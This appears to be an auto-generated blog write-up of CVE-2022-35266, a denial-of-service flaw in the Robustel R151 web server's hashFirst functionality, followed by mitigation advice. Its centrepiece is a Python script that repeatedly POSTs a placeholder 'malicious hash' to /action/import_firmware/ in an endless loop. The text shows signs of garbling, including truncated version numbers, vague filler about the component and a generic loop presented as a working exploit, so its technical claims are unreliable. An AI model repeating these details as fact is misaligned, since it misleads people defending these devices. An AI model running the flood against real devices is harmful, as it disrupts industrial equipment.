CVE-2022-35266 - Exploring the Denial of Service Vulnerability in Robustel R151 3.1.16 and 3.3. Web Server HashFirst Functionality

CVE-2022-35266 is a critical denial of service vulnerability that affects the web_server hashFirst functionality in Robustel R151 firmware versions 3.1.16 and 3.3.. The vulnerability, when exploited, allows an attacker to send a sequence of specially-crafted network requests, causing the system to become unresponsive and crash, thereby leading to denial of service.

The affected component: Robustel R151 web_server hashFirst

The web_server hashFirst functionality is a crucial component of Robustel R151, an industrial-grade cellular IoT gateway designed for secure and reliable communication between devices and the backend system. The hashFirst functionality enables the device to process and serve HTTP requests, making it a vital part of the system.

Exploit details and attack scenario

The vulnerability resides in the /action/import_firmware/ API of the web_server hashFirst functionality. An attacker can craft a series of network requests targeting this API to trigger the vulnerability and cause denial of service. To achieve this, the attacker needs to create a malicious sequence of requests and send them to the targeted device.

Here's a code snippet that demonstrates how the vulnerability can be triggered

import requests

target_url = "http://<target-ip>/action/import_firmware/";

# Craft the malicious sequence of requests
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {
    "target": "hashFirst",
    "hash": "<malicious hash>"
}

# Trigger the vulnerability by sending requests
while True:
    requests.post(target_url, headers=headers, data=data)

Replace <target-ip> with the target device's IP address and <malicious hash> with the specially-crafted hash that causes the vulnerability.

After executing this code, the device's web_server hashFirst functionality will become unresponsive, eventually leading to denial of service in the system.

For more information about this vulnerability, consult the following resources

- National Vulnerability Database: CVE-2022-35266
- Robustel R151 product pages: 3.1.16 and 3.3.

Mitigation steps and recommendations

Until an official patch is released by the manufacturer, follow these recommendations to mitigate the risk of exploitation:

1. Limit network access to the affected devices, allowing only authorized and trusted users to interact with them.
2. Implement strict network segmentation and firewall rules to restrict incoming and outgoing traffic related to the /action/import_firmware/ API in the web_server hashFirst functionality.
3. Monitor network traffic and logs for any signs of an attempted attack using intrusion detection and prevention systems.

Stay tuned for updates from Robustel regarding this vulnerability, and be prepared to apply patches as soon as they become available.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 05/16/2023 22:36:00 UTC